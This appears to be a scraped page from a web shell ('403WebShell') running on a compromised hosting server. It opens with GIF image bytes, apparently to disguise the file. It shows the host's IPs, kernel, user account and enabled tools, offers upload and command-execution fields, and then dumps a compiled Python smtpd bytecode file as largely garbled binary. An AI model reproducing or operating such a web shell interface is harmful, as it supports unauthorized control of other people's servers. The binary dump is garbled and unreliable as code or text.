GIF89a=( õ' 7IAXKgNgYvYx\%wh…hŽth%ˆs%—x¨}9®Œ©€&©‰%¶†(¹–.¹5·œD¹&Çš)ÇŸ5ǘ;Í£*È¡&Õ²)ׯ7×µ<Ñ»4ï°3ø‘HÖ§KͯT÷¨Yÿšqÿ»qÿÔFØ !ù ' !ÿ NETSCAPE2.0 , =( þÀ“pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§gª«ªE¯°¨¬ª±²Œ¹º¹E¾­”´ÂB¶¯ §Åȸ»ÑD¾¿Á•ÄÅ®° ÝH¾ÒLÀÆDÙ«D¶BÝïðÀ¾DÑÑÔTÌÍíH òGö¨A RÎڐ |¥ ٭&ºìE8œ¹kGÔAÞpx­a¶­ã R2XB®åE8I€Õ6Xî:vT)äžþÀq¦è³¥ì仕F~%xñ  4#ZÔ‰O|-4Bs‘X:= QÉ œš lºÒyXJŠGȦ|s hÏíK–3l7·B|¥$'7Jީܪ‰‡àá”Dæn=Pƒ ¤Òëí‰`䌨ljóá¯Éüv>á–Á¼5 ½.69ûϸd«­ºÀûnlv©‹ªîf{¬ÜãPbŸ  l5‘ޝpß ´ ˜3aÅùäI«O’ý·‘áÞ‡˜¾Æ‚ÙÏiÇÿ‹Àƒ #öó)pâš Þ½ ‘Ý{ó)vmÞü%D~ 6f s}ŃƒDØW Eþ`‡þ À…L8xá†ç˜{)x`X/> Ì}mø‚–RØ‘*|`D=‚Ø_ ^ð5 !_…'aä“OÚ—7âcð`D”Cx`ÝÂ¥ä‹éY¹—F¼¤¥Š?¡Õ™ n@`} lď’ÄÉ@4>ñd œ à‘vÒxNÃ×™@žd=ˆgsžG±æ ´²æud &p8Qñ)ˆ«lXD©øÜéAžHìySun jª×k*D¤LH] †¦§C™Jä–´Xb~ʪwStŽ6K,°£qÁœ:9ت:¨þªl¨@¡`‚ûÚ ».Û¬¯t‹ÆSÉ[:°=Š‹„‘Nåû”Ìî{¿ÂA ‡Rà›ÀÙ6úë°Ÿð0Ä_ ½;ÃϱîÉì^ÇÛÇ#Ëë¼ôº!±Ä˜íUîÅÇ;0L1óÁµö«p% AÀºU̬ݵ¼á%霼€‡¯Á~`ÏG¯»À× ­²± =4ªnpð3¾¤³¯­ü¾¦îuÙuµÙ®|%2ÊIÿür¦#0·ÔJ``8È@S@5ê¢ ö×Þ^`8EÜ]ý.뜃Âç 7 ú ȉÞj œ½Dç zý¸iþœÑÙûÄë!ˆÞÀl§Ïw‹*DçI€nEX¯¬¼ &A¬Go¼QföõFç°¯;é¦÷îŽêJ°îúôF5¡ÌQ|îúöXªæ»TÁÏyñêï]ê² o óÎC=öõ›ÒÓPB@ D×½œä(>èCÂxŽ`±«Ÿ–JЀ»Û á¤±p+eE0`ëŽ`A Ú/NE€Ø†À9‚@¤à H½7”à‡%B‰`Àl*ƒó‘–‡8 2ñ%¸ —€:Ù1Á‰E¸àux%nP1ð!‘ðC)¾P81lÑɸF#ˆ€{´âé°ÈB„0>±û °b¡Š´±O‚3È–Ù()yRpbµ¨E.Z‘D8ÊH@% òŒx+%Ù˜Æcü »¸˜fõ¬b·d`Fê™8èXH"ÉÈ-±|1Ô6iI, 2““¬$+](A*jÐ QTÂo‰.ÛU슬Œã„Ž`¯SN¡–¶Äåyše¯ª’­¬‚´b¦Éož œ)åyâ@Ì®3 ÎtT̉°&Ø+žLÀf"Ø-|žçÔ>‡Ðv¦Ðžì\‚ Q1)Ž@Žh#aP72”ˆ™¨$‚ !ù " , =( …7IAXG]KgNgYvYxR"k\%w]'}hŽth%ˆg+ˆs%—r.—m3šx3˜x¨}9®€&©€+¨‡7§‰%¶†(¹–.¹œD¹&ǘ;Í•&ײ)×»4ïÌ6ò§KÍ þ@‘pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§g «¬ E ±± ¨­¶°ººE Á´”·®C¬²§Ç¶Œ»ÓDÃÕƷ¯Ê±H½ºM×ÁGÚ¬D¶BËÁ½î½DÓôTÏÛßîG»ôõC×CÌ l&âž:'òtU³6ɹ#·Ø)€'Ü.6±&ëÍÈ» K(8p0N?!æ2"ÛˆNIJX>R¼ÐO‚M '¡¨2¸*Ÿþ>#n↠å@‚<[:¡Iïf’ ¤TÚ˘CdbÜÙ“[«ŽEú5MBo¤×@€`@„€Êt W-3 ¶Ÿ¡BíêäjIÝ…Eò9[T…$íêﯧ„…•s»Óȳ¹€ÅÚdc®UUρ#±Ùïldj?´í¼²`\ŽÁðÞu|3'ÖŒ]ë6 ¶S#²‡˜FKLÈ *N E´‘áäŠ$˜›eÄYD„ºq«.è촁ƒs \-ÔjA 9²õ÷å- üúM[Âx(ís÷ì®x€|í¡Ù’p¦‚ ŽkÛTÇDpE@WÜ ²Ç]kŠ1¨ þ€·Yb ÓÁ‰l°*n0 ç™—žzBdОu¾7ĉBl€â‰-ºx~|UåU‰  h*Hœ|e"#"?vpÄiŠe6^ˆ„+qâŠm8 #VÇá ‘å–ÄV„œ|Аè•m"сœn|@›U¶ÆÎž—Špb¥G¨ED”€±Úê2FÌIç? >Éxå Œ± ¡¤„%‘žjŸ‘ꄯ<Ìaà9ijÐ2˜D¦È&›†Z`‚å]wþ¼Â:ç6àB¤7eFJ|õÒ§Õ,¨äàFÇ®cS·Ê¶+B°,‘Þ˜ºNûãØ>PADÌHD¹æž«ÄÀnÌ¥}­#Ë’ë QÀÉSÌÂÇ2ÌXÀ{æk²lQÁ2«ÊðÀ¯w|2Í h‹ÄÂG€,m¾¶ë3ÐÙ6-´ÅE¬L°ÆIij*K½ÀÇqï`DwVÍQXœÚÔpeœ±¬Ñ q˜§Tœ½µƒ°Œìu Â<¶aØ*At¯lmEØ ü ôÛN[P1ÔÛ¦­±$ÜÆ@`ùåDpy¶yXvCAyåB`ŽD¶ 0QwG#¯ æš[^Äþ $ÀÓÝǦ{„L™[±úKÄgÌ;ï£S~¹ìGX.ôgoT.»åˆ°ùŸûù¡?1zö¦Ÿž:ÅgÁ|ìL¹ „®£œŠ‚à0œ]PÁ^p F<"•ç?!,ñ‡N4—…PÄ Á„ö¨Û:Tè@hÀ‹%táÿ:ø-žI<`þ‹p I….)^ 40D#p@ƒj4–؀:²‰1Øâr˜¼F2oW¼#Z†;$Q q” ‘ ÂK¦ñNl#29 !’F@¥Bh·ᏀL!—XFóLH‘Kh¤.«hE&JòG¨¥<™WN!€ÑÙÚˆY„@†>Œž19J" 2,/ &.GXB%ÌRÈ9B6¹W]’î×ÔW¥’IÎ$ ñ‹ÓŒE8YÆ ¼³™ñA5“à®Q.aŸB€&Ø©³ JÁ—! ¦t)K%tœ-¦JF bòNMxLôþ)ÐR¸Ð™‘ èÝ6‘O!THÌ„HÛ ‰ !ù ) , =( …AXKgNgYvYxR"k\%wh…hŽh%ˆg+ˆs%—r.—x3˜x¨}9®€&©€+¨Œ,©‡7§‰%¶†(¹–.¹5·&Çš)ǘ;Í•&×£*Ȳ)ׯ7×»4ï°3øÌ6ò‘HÖ§KÍ»Hó¯T÷¨Yÿ»qÿÇhÿ þÀ”pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§g ª« E$±²¨ª­ · °²½$E$ÂÕ««D· Í ¿¦Ç¶¸ÌŒ¾³CÃÅÆ E ééH½MÛÂGâªD­ çBêêϾD²ÒaÀà€Š1r­ðÓ¤ ÔožzU!L˜C'¾yW½UGtäÇïÙllê0×àÂuGþ)AÀs[þ·xì ÁxO%ƒûX2ó—  P£n›R/¡ÑšHše+êDm?# —‘Ç£6¡8íJ¡ŸâDiäªM¥Ö„ôj“¬¹£5oQ7°- <‡ *´lãÓŒ2r/a!l)dÈ A™ÈE¢ôÔ͆…ð ;Ö˜c ¡%ß‚’Ùˆâ¸b½—pe~C"BíëÚHïeF2§æŠ8qb t_`urŠeü wÅu3êæPv§h•"ß`íÍxçLĹÜÖ3á  ~Öº“®›¸ÏMDfJÙ °„ÛµáWõ%§œ‚à©–‚X ÓØ)@®Ñ›Eþ´wëuÅSxb8y\mÖzœ¥§ZbºE—ÂLªÌw!y(>¡™wú=Ç|ÅÝs¢d €CÁW)HÜcC$€L Ä7„r.á\{)@ð` @ äXÈ$PD” `šaG:§æˆOˆ72EÐamn]ù"ŒcÊxÑŒ° &dR8`g«iÙŸLR!¦P …d’ä¡“¦ðÎTƒ¦ià|À _ ¥ Qi#¦Šg›Æ ›noMµ ›V ã£)p ç£ÎW…š=Âeªk§†j„ ´®1ß²sÉxéW«jšl|0¯B0Û, \jÛ´›6±¬¶C ÛíWþï|ëÙ‹¸ñzĸV {ì;Ýñn¼òVˆm³I¼³.Ðã¤PN¥ ²µ¼„µCã+¹ÍByî£Ñ¾HŸ›ëê 7ìYÆFTk¨SaoaY$Dµœìï¿Ã29RÈkt Çïfñ ÇÒ:ÀÐSp¹3ÇI¨â¥DZÄ ü9Ïýögñ½­uÔ*3)O‘˜Ö[_hv ,àî×Et Ÿé¶BH€ Õ[ü±64M@ÔSÌM7dÐl5-ÄÙU܍´©zߌ3Ô€3ž„ „ ¶ÛPô½5×g› êÚ˜kN„Ý…0Îj4€Ìë°“#{þÕ3S2çKÜ'ợlø¼Ú2K{° {Û¶?žm𸧠ËI¼nEò='êüóºè^üæÃ_Û=°óž‚ì#Oý¿Í'¡½áo..ÏYìnüñCœO±Áa¿¢Kô½o,üÄËbö²çºíï{ËC Ú— "”Ï{ËK ÍÒw„õ±Oz dÕ¨à:$ ƒô—«v»] A#ð «€¿šéz)Rx׿ˆ¥‚d``èw-îyÏf×K!ð€þ­Ð|ìPľ„=Ì`ý(f” 'Pa ¥ÐBJa%Ðâf§„%Š¡}FàáÝ×6>ÉäŠG"éŽè=ø!oа^FP¼Ø©Q„ÀCÙÁ`(Ž\ÄÝ® ©Â$<n@dÄ E#ììUÒI! ‚#lù‹`k¦ÐÇ'Rró’ZýNBÈMF Í[¤+‹ðɈ-áwj¨¥þ8¾rá ,VÂh„"|½œ=×G_¦Ñ™EØ 0i*%̲˜Æda0mV‚k¾)›;„&6 p>ÓjK “¦Ç# âDÂ:ûc?:R Ó¬fÞéI-Ì“•Ã<ä=™Ï7˜3œ¨˜c2ŒW ,ˆ”8(T™P‰F¡Jhç"‚ ; 403WebShell
403Webshell
Server IP : 172.67.177.218  /  Your IP : 216.73.216.66
Web Server : LiteSpeed
System : Linux premium229.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
User : akhalid ( 749)
PHP Version : 8.3.22
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/alt/python35/lib64/python3.5/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/alt/python35/lib64/python3.5/__pycache__/smtpd.cpython-35.opt-2.pyc


���]"��@sddlZddlZddlZddlZddlZddlZddlZddlZddlZddl	m
Z
ddlmZm
Z
ddddgZejdZdZGd	d
�d
�Ze�adZdZd
Zddd�ZGdd�dej�ZGdd�dej�ZGdd�de�ZGdd�de�ZGdd�de�ZGdd�d�Zdd�Z e!dkre �Z"e"j#Z#de#kr�e#j$d�Z%e&e#de%�e'�e(�dg�Z)e#e%dd�Z#nddl*Z)e+e)e#�Z,e,e"j-e"j.fe"j/e"j0fe"j1de"j2�Z3e"j4r�yddl5Z5Wn2e6k
r�e7dd ej8�ej9d�YnXe5j:d!�d"Z;yej4e;�Wn2e<k
r�e7d#d ej8�ej9d�YnXyej=�Wne>k
rYnXdS)$�N)�warn)�
get_addr_spec�get_angle_addr�
SMTPServer�DebuggingServer�	PureProxy�MailmanProxyzPython SMTP proxy version 0.3c@s(eZdZdd�Zdd�ZdS)�DevnullcCsdS)N�)�self�msgr
r
�*/opt/alt/python35/lib64/python3.5/smtpd.py�writecsz
Devnull.writecCsdS)Nr
)rr
r
r
�flushdsz
Devnull.flushN)�__name__�
__module__�__qualname__rrr
r
r
r
r	bsr	�
z, i�cCsDttt�dtj�|r3t|dtj�tj|�dS)N�file)�print�__doc__�globals�sys�stderr�exit)�coderr
r
r
�usagemsrc@s�eZdZdZdZdZejedd��Ze	dd��Z
edd	dd
d�Zdd
�Z
dd�Ze	dd��Zejdd��Ze	dd��Zejdd��Ze	dd��Zejdd��Ze	dd��Zejdd��Ze	dd��Zejdd��Ze	dd ��Zejd!d ��Ze	d"d#��Zejd$d#��Ze	d%d&��Zejd'd&��Ze	d(d)��Zejd*d)��Ze	d+d,��Zejd-d,��Ze	d.d/��Zejd0d/��Zd1d2�Zd3d4�Zd5d6�Zd7d8�Zd9d:�Zd;d<�Z d=d>�Z!d?d@�Z"dAdB�Z#dCdD�Z$dEdF�Z%dGdH�Z&dIdJ�Z'dKdL�Z(dMdN�Z)dOdP�Z*dQdR�Z+dS)S�SMTPChannelr�icCs|S)Nr
)�xr
r
r
�<lambda>yszSMTPChannel.<lambda>cCs7yt|jj��SWntk
r2|jSYnXdS)N)�max�command_size_limits�values�
ValueError�command_size_limit)rr
r
r
�max_command_size_limit{s
z"SMTPChannel.max_command_size_limitNFc	Cs�tjj||d|�||_||_||_||_||_|rd|r^td��d}|dkr�t	dt
d�d}||_|r�d|_d|_
d	|_t|_n*d
|_d|_
td�|_d
|_|j�d|_d|_|jj�tj�|_y|j�|_WnLtk
r}z,|j�|jdtj kri�dSWYdd}~XnXt!dt"|j�dt#�|j$d|jt%f�dS)N�mapzFdecode_data and enable_SMTPUTF8 cannot be set to True at the same timeFzgThe decode_data default of True will change to False in 3.6; specify an explicit value for this keyword�Trz
�.�s
�.s
rzPeer:rz	220 %s %s)&�asynchat�
async_chat�__init__�smtp_server�conn�addr�data_size_limit�enable_SMTPUTF8r%r�DeprecationWarning�_decode_data�_emptystring�_linesep�_dotsep�NEWLINE�_newline�ord�_set_rset_state�
seen_greeting�
extended_smtpr#�clear�socket�getfqdn�fqdn�getpeername�peer�OSError�close�args�errnoZENOTCONNr�repr�DEBUGSTREAM�push�__version__)	rZserverr1r2r3r(r4�decode_data�errr
r
r
r/�sL					
							
		

zSMTPChannel.__init__cCsA|j|_d|_g|_d|_d|_|jd�dS)NFrs
)�COMMAND�
smtp_state�mailfrom�rcpttos�require_SMTPUTF8�	num_bytes�set_terminator)rr
r
r
�_set_post_data_state�s				z SMTPChannel._set_post_data_statecCs |j�d|_g|_dS)Nr)rW�
received_data�received_lines)rr
r
r
r=�s
	zSMTPChannel._set_rset_statecCstdtd�|jS)NzTAccess to __server attribute on SMTPChannel is deprecated, use 'smtp_server' insteadr))rr5r0)rr
r
r
�__server�s
zSMTPChannel.__servercCstdtd�||_dS)NzRSetting __server attribute on SMTPChannel is deprecated, set 'smtp_server' insteadr))rr5r0)r�valuer
r
r
rZ�s
cCstdtd�|jS)NzUAccess to __line attribute on SMTPChannel is deprecated, use 'received_lines' insteadr))rr5rY)rr
r
r
�__line�s
zSMTPChannel.__linecCstdtd�||_dS)NzSSetting __line attribute on SMTPChannel is deprecated, set 'received_lines' insteadr))rr5rY)rr[r
r
r
r\�s
cCstdtd�|jS)NzRAccess to __state attribute on SMTPChannel is deprecated, use 'smtp_state' insteadr))rr5rQ)rr
r
r
�__state�s
zSMTPChannel.__statecCstdtd�||_dS)NzPSetting __state attribute on SMTPChannel is deprecated, set 'smtp_state' insteadr))rr5rQ)rr[r
r
r
r]�s
cCstdtd�|jS)NzXAccess to __greeting attribute on SMTPChannel is deprecated, use 'seen_greeting' insteadr))rr5r>)rr
r
r
�
__greeting�s
zSMTPChannel.__greetingcCstdtd�||_dS)NzVSetting __greeting attribute on SMTPChannel is deprecated, set 'seen_greeting' insteadr))rr5r>)rr[r
r
r
r^�s
cCstdtd�|jS)NzSAccess to __mailfrom attribute on SMTPChannel is deprecated, use 'mailfrom' insteadr))rr5rR)rr
r
r
�
__mailfrom�s
zSMTPChannel.__mailfromcCstdtd�||_dS)NzQSetting __mailfrom attribute on SMTPChannel is deprecated, set 'mailfrom' insteadr))rr5rR)rr[r
r
r
r_�s
cCstdtd�|jS)NzQAccess to __rcpttos attribute on SMTPChannel is deprecated, use 'rcpttos' insteadr))rr5rS)rr
r
r
�	__rcpttos�s
zSMTPChannel.__rcpttoscCstdtd�||_dS)NzOSetting __rcpttos attribute on SMTPChannel is deprecated, set 'rcpttos' insteadr))rr5rS)rr[r
r
r
r`�s
cCstdtd�|jS)NzTAccess to __data attribute on SMTPChannel is deprecated, use 'received_data' insteadr))rr5rX)rr
r
r
�__datas
zSMTPChannel.__datacCstdtd�||_dS)NzRSetting __data attribute on SMTPChannel is deprecated, set 'received_data' insteadr))rr5rX)rr[r
r
r
ras
cCstdtd�|jS)NzKAccess to __fqdn attribute on SMTPChannel is deprecated, use 'fqdn' insteadr))rr5rC)rr
r
r
�__fqdns
zSMTPChannel.__fqdncCstdtd�||_dS)NzISetting __fqdn attribute on SMTPChannel is deprecated, set 'fqdn' insteadr))rr5rC)rr[r
r
r
rbs
cCstdtd�|jS)NzKAccess to __peer attribute on SMTPChannel is deprecated, use 'peer' insteadr))rr5rE)rr
r
r
�__peers
zSMTPChannel.__peercCstdtd�||_dS)NzISetting __peer attribute on SMTPChannel is deprecated, set 'peer' insteadr))rr5rE)rr[r
r
r
rcs
cCstdtd�|jS)NzKAccess to __conn attribute on SMTPChannel is deprecated, use 'conn' insteadr))rr5r1)rr
r
r
�__conn$s
zSMTPChannel.__conncCstdtd�||_dS)NzISetting __conn attribute on SMTPChannel is deprecated, set 'conn' insteadr))rr5r1)rr[r
r
r
rd)s
cCstdtd�|jS)NzKAccess to __addr attribute on SMTPChannel is deprecated, use 'addr' insteadr))rr5r2)rr
r
r
�__addr/s
zSMTPChannel.__addrcCstdtd�||_dS)NzISetting __addr attribute on SMTPChannel is deprecated, set 'addr' insteadr))rr5r2)rr[r
r
r
re4s
cCs3tjj|t|d|jr%dnd��dS)Nz
zutf-8�ascii)r-r.rL�bytesrT)rrr
r
r
rL;szSMTPChannel.pushcCs�d}|j|jkr$|j}n|j|jkr?|j}|rX|j|krXdS|rs|jt|�7_|jr�|jj	t
|d��n|jj	|�dS)Nzutf-8)rQrPr'�DATAr3rU�lenr6rY�append�str)r�data�limitr
r
r
�collect_incoming_data@s		z!SMTPChannel.collect_incoming_datac
Cs�|jj|j�}tdt|�dt�g|_|j|jkrf|jd}|_|ss|j	d�dS|j
s�t|d�}|jd�}|dkr�|j
�}d}n0|d|�j
�}||dd�j�}|jr|j|n|j}||kr'|j	d�dSt|d	|d�}|sX|j	d
|�dS||�dS|j|jkr�|j	d�d|_dS|jr�|j|jkr�|j	d�d|_dSg}xZ|j|j�D]F}	|	r|	d|jkr|j|	dd��q�|j|	�q�W|jj|�|_|j|j|j|jf}
i}|j
s�d
|jd|ji}|j j!|
|�}|j"�|s�|j	d�n
|j	|�dS)NzData:rrz500 Error: bad syntaxzutf-8� rz500 Error: line too longZsmtp_z&500 Error: command "%s" not recognizedz451 Internal confusionz552 Error: Too much mail data�mail_options�rcpt_optionsz250 OK)#r7�joinrYrrJrKrQrPrUrLr6rk�find�upper�stripr?r#r&�getattrrhr3�splitr8r9rjr;rXrErRrSrprqr0�process_messagerW)
r�lineZsz�i�command�argZmax_sz�methodrl�textrH�kwargs�statusr
r
r
�found_terminatorPsd	
		


	
			
zSMTPChannel.found_terminatorcCs\|s|jd�dS|jr1|jd�dS|j�||_|jd|j�dS)Nz501 Syntax: HELO hostnamez503 Duplicate HELO/EHLOz250 %s)rLr>r=rC)rr|r
r
r
�	smtp_HELO�s
	

	zSMTPChannel.smtp_HELOcCs�|s|jd�dS|jr1|jd�dS|j�||_d|_|jd|j�|jr�|jd|j�|jdd7<|js�|jd�|jr�|jd	�|jdd
7<|jd�dS)Nz501 Syntax: EHLO hostnamez503 Duplicate HELO/EHLOTz250-%sz250-SIZE %s�MAIL�z250-8BITMIMEz250-SMTPUTF8�
z250 HELP)	rLr>r=r?rCr3r#r6r4)rr|r
r
r
�	smtp_EHLO�s&
	

				
	
zSMTPChannel.smtp_EHLOcCs'|r|jd�n
|jd�dS)Nz501 Syntax: NOOPz250 OK)rL)rr|r
r
r
�	smtp_NOOP�szSMTPChannel.smtp_NOOPcCs|jd�|j�dS)Nz221 Bye)rLZclose_when_done)rr|r
r
r
�	smtp_QUIT�s
zSMTPChannel.smtp_QUITcCs@t|�}|d|�j�|kr<||d�j�SdS)Nr)rirtru)r�keywordr|Zkeylenr
r
r
�_strip_command_keyword�sz"SMTPChannel._strip_command_keywordcCsc|s
dS|j�jd�r4t|�\}}nt|�\}}|sV||fS|j|fS)Nr�<)rr)�lstrip�
startswithrrZ	addr_spec)rr|�address�restr
r
r
�_getaddr�s
zSMTPChannel._getaddrcCsgi}xZ|D]R}|jd�\}}}|j�sE|rI|rIdS|rU|nd||<q
W|S)N�=T)�	partition�isalnum)r�params�resultZparam�eqr[r
r
r
�
_getparams�s
zSMTPChannel._getparamscCsg|rVd}|j�}|dkr4|jd�qc|dkrP|jd�qc|dkr�d}|jru||7}|j|�qc|dkr�d	}|jr�||7}|j|�qc|d
kr�|jd�qc|dkr�|jd
�qc|dkr|jd�qc|dkr*|jd�qc|dkrF|jd�qc|jd�n
|jd�dS)Nz [SP <mail-parameters>]ZEHLOz250 Syntax: EHLO hostnameZHELOz250 Syntax: HELO hostnamer�z 250 Syntax: MAIL FROM: <address>ZRCPTz250 Syntax: RCPT TO: <address>rhz250 Syntax: DATAZRSETz250 Syntax: RSETZNOOPz250 Syntax: NOOPZQUITz250 Syntax: QUITZVRFYz250 Syntax: VRFY <address>zD501 Supported commands: EHLO HELO MAIL RCPT DATA RSET NOOP QUIT VRFYzD250 Supported commands: EHLO HELO MAIL RCPT DATA RSET NOOP QUIT VRFY)rtrLr?)rr|ZextendedZlc_argrr
r
r
�	smtp_HELP�s:	
	
zSMTPChannel.smtp_HELPcCsV|rE|j|�\}}|r1|jd�qR|jd|�n
|jd�dS)NzB252 Cannot VRFY user, but will accept message and attempt deliveryz502 Could not VRFY %sz501 Syntax: VRFY <address>)r�rL)rr|r�r�r
r
r
�	smtp_VRFY�szSMTPChannel.smtp_VRFYcCse|js|jd�dStd|dt�d}|jrF|d7}|dkrc|j|�dS|jd|�}|j|�\}}|s�|j|�dS|jr�|r�|j|�dS|jr�|jd�dS|j�j	�|_
|j|j
�}|dkr |j|�dS|jsX|j
dd	�}|dkrX|jd�dS|jr�|j
dd
�}|dkr�d|_n|d
k	r�|jd�dS|j
dd�}|r|j�s�|j|�dS|jrt|�|jkr|jd�dSt|j��dkr5|jd�dS||_td|jdt�|jd�dS)Nz503 Error: send HELO firstz	===> MAILrz 501 Syntax: MAIL FROM: <address>z [SP <mail-parameters>]zFROM:z503 Error: nested MAIL commandZBODY�7BIT�8BITMIMEz1501 Error: BODY can only be one of 7BIT, 8BITMIMEZSMTPUTF8FTz&501 Error: SMTPUTF8 takes no argumentsZSIZEz:552 Error: message size exceeds fixed maximum message sizerz:555 MAIL FROM parameters not recognized or not implementedzsender:z250 OK)r�r�)r>rLrrKr?r�r�rRrtrwrpr�r6�popr4rT�isdigitr3�intri�keys)rr|�	syntaxerrr�r�Zbody�smtputf8�sizer
r
r
�	smtp_MAILsh	
	



	

	
	



	zSMTPChannel.smtp_MAILcCs�|js|jd�dStd|dt�|jsG|jd�dSd}|jr`|d7}|dkr}|j|�dS|jd|�}|j|�\}}|s�|j|�dS|jr�|r�|j|�dS|j�j	�|_
|j|j
�}|dkr |j|�dSt|j
��dkrI|jd	�dS|jj|�td
|jdt�|jd�dS)Nz503 Error: send HELO firstz	===> RCPTrz503 Error: need MAIL commandz501 Syntax: RCPT TO: <address>z [SP <mail-parameters>]zTO:rz8555 RCPT TO parameters not recognized or not implementedzrecips:z250 OK)r>rLrrKrRr?r�r�rtrwrqr�rir�rSrj)rr|r�r�r�r
r
r
�	smtp_RCPT;s@	
	
	





zSMTPChannel.smtp_RCPTcCs2|r|jd�dS|j�|jd�dS)Nz501 Syntax: RSETz250 OK)rLr=)rr|r
r
r
�	smtp_RSET^s


zSMTPChannel.smtp_RSETcCsu|js|jd�dS|js4|jd�dS|rK|jd�dS|j|_|jd�|jd�dS)Nz503 Error: send HELO firstz503 Error: need RCPT commandz501 Syntax: DATAs
.
z#354 End data with <CR><LF>.<CR><LF>)r>rLrSrhrQrV)rr|r
r
r
�	smtp_DATAes	
	


zSMTPChannel.smtp_DATAcCs|jd�dS)Nz502 EXPN not implemented)rL)rr|r
r
r
�	smtp_EXPNtszSMTPChannel.smtp_EXPN),rrrrPrhr&�collections�defaultdictr#�propertyr'�DATA_SIZE_DEFAULTr/rWr=Z_SMTPChannel__server�setterZ_SMTPChannel__lineZ_SMTPChannel__stateZ_SMTPChannel__greetingZ_SMTPChannel__mailfromZ_SMTPChannel__rcpttosZ_SMTPChannel__dataZ_SMTPChannel__fqdnZ_SMTPChannel__peerZ_SMTPChannel__connZ_SMTPChannel__addrrLrnr�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r
r
r
r
rts`-	>#6#rc@sFeZdZeZeddddd�Zdd�Zdd�ZdS)	rNFcCs4||_||_||_||_|rB|r<td��d}|dkrdtdtd�d}||_tj	j
|d|�y`tj|dtj
�}|j|dd|dd	�|j�|j|�|jd
�Wn|j��Yn6Xtd|jjtjtj��||fdt�dS)
NzVThe decode_data and enable_SMTPUTF8 parameters cannot be set to True at the same time.FzgThe decode_data default of True will change to False in 3.6; specify an explicit value for this keywordr)Tr(�typerr�z0%s started at %s
	Local addr: %s
	Remote addr:%sr)Z
_localaddr�_remoteaddrr3r4r%rr5r6�asyncore�
dispatcherr/rA�getaddrinfo�SOCK_STREAMZ
create_socketZset_reuse_addr�bind�listenrGr�	__class__r�time�ctimerK)rZ	localaddrZ
remoteaddrr3r(r4rNZgai_resultsr
r
r
r/|s6				
	 


zSMTPServer.__init__cCsKtdt|�dt�|j||||j|j|j|j�}dS)NzIncoming connection from %sr)rrJrK�
channel_classr3�_mapr4r6)rr1r2Zchannelr
r
r
�handle_accepted�s	zSMTPServer.handle_acceptedcKs
t�dS)N)�NotImplementedError)rrErRrSrlrr
r
r
rx�szSMTPServer.process_message)	rrrrr�r�r/r�rxr
r
r
r
rxs
"c@s(eZdZdd�Zdd�ZdS)rcCs�d}|j�}x�|D]z}|rn|rnd|d}t|t�s^t|jd��}t|�d}t|t�s�t|�}t|�qWdS)NrzX-Peer: rzutf-8)�
splitlines�
isinstancerkrJ�encoder)rrErlZ	inheaders�linesryZ
peerheaderr
r
r
�_print_message_content�s


z&DebuggingServer._print_message_contentcKsptd�|rR|jd�r1td|d�|jd�rRtd|d�|j||�td�dS)Nz%---------- MESSAGE FOLLOWS ----------rpzmail options: %srqzrcpt options: %s
z%------------ END MESSAGE ------------)r�getr�)rrErRrSrlrr
r
r
rx�s
zDebuggingServer.process_messageN)rrrr�rxr
r
r
r
r�scs:eZdZ�fdd�Zdd�Zdd�Z�S)rcs?d|kr"|dr"td��tt|�j||�dS)Nr4z$PureProxy does not support SMTPUTF8.)r%�superrr/)rrHr)r�r
r
r/�szPureProxy.__init__c	Cs�|jd�}d}x|D]}|s)P|d7}qW|j|d|d�tj|�}|j|||�}td|dt�dS)Nrrrz
X-Peer: %szwe got some refusals:r)rw�insertr:rr�_deliverrrK)	rrErRrSrlr�rzry�refusedr
r
r
rx�s
zPureProxy.process_messagecCs7ddl}i}yU|j�}|j|jd|jd�z|j|||�}Wd|j�XWn�|jk
r�}ztddt�|j	}WYdd}~Xn�t
|jfk
r2}z`td|jdt�t
|dd	�}t
|dd�}	x|D]}
||	f||
<qWWYdd}~XnX|S)
Nrrzgot SMTPRecipientsRefusedrZgotZ	smtp_codeZ
smtp_error�ignore���)�smtplibZSMTP�connectr�Zsendmail�quitZSMTPRecipientsRefusedrrKZ
recipientsrFZ
SMTPExceptionr�rv)rrRrSrlr�r��s�eZerrcode�errmsg�rr
r
r
r��s$
'zPureProxy._deliver)rrrr/rxr�r
r
)r�r
r�scs.eZdZ�fdd�Zdd�Z�S)rcs?d|kr"|dr"td��tt|�j||�dS)Nr4z'MailmanProxy does not support SMTPUTF8.)r%r�rr/)rrHr)r�r
r
r/szMailmanProxy.__init__cCs�ddlm}ddlm}ddlm}ddlm}g}	x�|D]�}
|
j�jd�d}|jd�}t|�dkr�qM|d}
t|�dkr�|d	}nd
}|j	|
�sM|d!kr�qM|	j
|
|
|f�qMWx$|	D]\}
}
}|j|
�q�Wtddj
|�dt�|ri|j|||�}td|dt�i}||�}|j|�}|jd�s�||d<|jd�s�tjtj��|d<x(|	D] \}
}
}td|
dt�|j|
�}|s(|j|
dd�}|||
<|d
krJ|j|dd	�q�|dkrl|j|dd	�q�|dkr�|j|dd	�q�|d
kr�|j|dd	�q�|d"kr�|dkr�d|d<n
